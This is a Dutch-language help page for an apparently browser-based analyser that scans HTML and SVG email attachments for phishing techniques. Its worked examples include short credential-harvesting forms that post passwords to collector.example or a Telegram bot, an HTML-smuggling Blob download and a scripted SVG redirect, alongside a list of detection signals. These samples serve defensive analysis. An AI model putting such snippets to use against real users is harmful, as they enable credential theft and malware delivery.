Bestanden en pagina's

HTML-bijlage-analysator

Draait lokaalNieuw

De tool zelf is in het Engels; op deze pagina wordt uitgelegd hoe deze werkt in uw taal.

Gebruik HTML-bijlage-analysator

Wat het doet

Laad of plak een HTML- of SVG-bijlage om te zien wat er zou gebeuren als deze werd geopend: verborgen downloads, formulieren die een wachtwoord naar een andere locatie verzenden, omleidingen, eindpunten voor gegevensdiefstal en versleutelde code. Het bestand wordt als tekst gelezen en wordt nooit weergegeven of uitgevoerd.

Het draait volledig in je browser: er wordt niets van wat je invoert geüpload.

Hoe gebruik je HTML-bijlage-analysator

  1. Open het bestand niet. Sla de bijlage met de extensie .html, .htm, .shtml, .xhtml of .svg op zonder deze te openen, of kopieer de broncode als tekst.
  2. Laad het of plak het. Sleep het bestand naar het vak of selecteer het (maximaal 25 MB), of plak de broncode (maximaal 5 MB) en klik op ‘Analyseren’ of druk op Ctrl+Enter.
  3. Lees het vonnis. In het bovenste vak staat ‘Hoog risico’, ‘Verdacht’ of ‘Geen patronen met hoog risico gevonden’, met daarachter de categorieën en het aantal bevindingen, IOC’s en ingebedde blobs.
  4. Bekijk de bevindingen. Bij elke bevinding worden de ernst, de categorie, het regelnummer en de bijbehorende bron weergegeven, waarbij links en adressen zijn geneutraliseerd.
  5. Exporteer wat je hebt gevonden. Kopieer de IOC's (in ongeschadigde of onbewerkte vorm), of gebruik de optie ‘Verzenden naar’ voor de IOC-converter, de generator voor misbruikmeldingen of, in het geval van een ingebedde blob, de meerlaagse decoder.

Voorbeeld

Inlogformulier met een vooraf ingevuld adres

Invoer
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Uitvoer (vastgelegd op 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

Hoog risico: het inlogformulier verstuurt het wachtwoord naar collector[.]example, in de titel staat ‘Microsoft 365’ naast een wachtwoordveld en het script vult het e-mailadres uit het URL-fragment in met atob. De IOC-lijst bevat de URL van de collector en het bijbehorende domein, in onschadelijke vorm.

Wat er wordt gecontroleerd

SignaalWat dit betekent
HTML-smokkelHoog wanneer de pagina een bestand in het geheugen aanmaakt (een Blob met `createObjectURL`, een downloadlink of `msSaveOrOpenBlob`) en dit als download aanbiedt.
FormulierenElk formulier dat gegevens naar een andere site verstuurt, krijgt een hoge beoordeling, en in de titel staat vermeld of het een wachtwoord bevat. In de tabel ‘Formulieren’ staat vermeld waar elk formulier naartoe wordt verzonden, welke methode wordt gebruikt en welke velden het bevat.
Eindpunten voor gegevenslekkenAPI-aanroepen voor Telegram-bots, bot-tokens, Discord-webhooks en diensten voor het verzamelen van formuliergegevens, zoals formspree.io of webhook.site, scoren hoog.
Verduisteringatob, unescape, fromCharCode, lange escape-reeksen en de uitvoer van bekende obfuscators. Letterlijk gecodeerde tekenreeksen worden gedecodeerd zonder ze uit te voeren.
Dynamische codeeval, de Function-constructor, document.write en innerHTML-toewijzingen genereren code of opmaak tijdens de uitvoering.
OmleidingenWijzigingen in de locatie, `window.open`, `meta refresh` en het uitlezen van het URL-fragment, waarbij kits vaak het e-mailadres van het slachtoffer doorgeven.
Anti-analyseBlokkering van rechtsklikken of F12, debugger-instructies, detectie van ontwikkelaarstools en controles op geautomatiseerde browsers.
Ingesloten inhouddata: URI’s, lange Base64- of hex-blobs en het bestandstype waarnaar ze worden gedecodeerd, verborgen iframes en SVG-bestanden die script bevatten.
MerkhintsMerknamen in de titel, logo’s of links. Naast een wachtwoordveld wordt dit als ‘gemiddeld’ beoordeeld.

Nog meer voorbeelden

Een download die in de browser is gemaakt

Invoer
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Resultaat

Hoog risico, oorzaak: HTML-smuggling: 1 bevinding met hoog risico (de pagina stelt een bestand samen in de browser en biedt dit aan als download) en 4 bevindingen met gemiddeld risico voor atob, new Blob, URL.createObjectURL en het download-attribuut. Geen IOC’s.

Een wachtwoord dat naar een Telegram-bot is verzonden

Invoer
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Resultaat

Hoog risico, reden: gegevenslek. Een script verstuurt gegevens van een pagina met een wachtwoordveld naar api.telegram.org, plus het achterhalen van het eindpunt van de Telegram Bot API. De bevindingen van Medium hebben betrekking op het ophalen van gegevens, het wachtwoordveld en een inlogformulier zonder externe actie.

Een SVG-afbeelding die doorverwijst

Invoer
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Resultaat

Hoog risico: SVG-bestand met script, plus een omleiding met gemiddeld risico en een BTOA-bevinding met laag risico. Het doelwit verschijnt onder ‘Verzoeken en omleidingen’ als een andere site, en de URL van de XML-naamruimte is niet opgenomen in de IOC’s.

Veelgestelde vragen

Waar let de analysator op?

Het vergelijkt de bron met regels voor HTML-smokkel (Blob, createObjectURL, msSaveOrOpenBlob, downloadlinks, data: URI’s en lange Base64-blobs), formulieren en scripts die gegevens naar andere sites verzenden, exfiltratie via Telegram en Discord, omleidingen, verborgen iframes, obfuscators en anti-analysetrucs. Het decodeert ook atob-, unescape- en fromCharCode-literals zonder ze uit te voeren en geeft een overzicht van elke URL, elk domein, elk IP-adres en elk e-mailadres dat het vindt, ontdaan van schadelijke elementen.

Kan het iets over het hoofd zien of een vals alarm geven?

Ja. Versleutelde of tijdens de uitvoering gegenereerde code kan zijn gedrag verbergen voor een statische scan, en ook gewone pagina’s maken gebruik van `fetch`, `innerHTML` of inline afbeeldingen. Lees daarom de bijbehorende broncode die naast elke bevinding wordt weergegeven. Gebruik JS Analyzer voor het ontraadselen en emuleren in een sandbox.

Is het bestand geüpload of geopend?

Nee. Het bestand wordt in je browser als tekst gelezen en wordt nooit weergegeven, uitgevoerd of ergens naartoe verzonden. Bestanden tot 25 MB worden geaccepteerd; bij zeer grote bestanden worden de eerste 4 MB en de laatste 1 MB van de opmaak gescand, en worden ingesloten blobs meegeteld in de totale bestandsgrootte.

Waarom wordt een SVG-afbeelding op dezelfde manier gecontroleerd als een webpagina?

SVG-bestanden zijn XML-bestanden die door browsers als webpagina’s worden geopend, waardoor ze scripts, links en ingesloten HTML kunnen bevatten. Een afbeelding heeft geen script nodig, dus het gebruik van script in een SVG-bestand wordt als positief beoordeeld.

Wat zijn ingebedde blobs?

Lange Base64-, hex- of byte-array-strings in het bestand. Deze worden in het geheugen gedecodeerd en voorzien van het bestandstype waarnaar ze worden omgezet; je kunt er één kopiëren of een tekstblob naar de Multi-Layer Decoder sturen.

Wat betekenen de ernstniveaus?

Hoge scores voor patronen waarop phishing- en malwarebijlagen zijn gebaseerd, zoals smokkel, exfiltratie via eindpunten of het elders invoeren van wachtwoordgegevens. De categorie ‘Gemiddeld’ omvat technieken die ook op gewone webpagina’s worden gebruikt. Eén bevinding met een hoge score leidt tot de conclusie ‘Hoog risico’.

Uitleg van termen

Onderzoek van PhishDestroy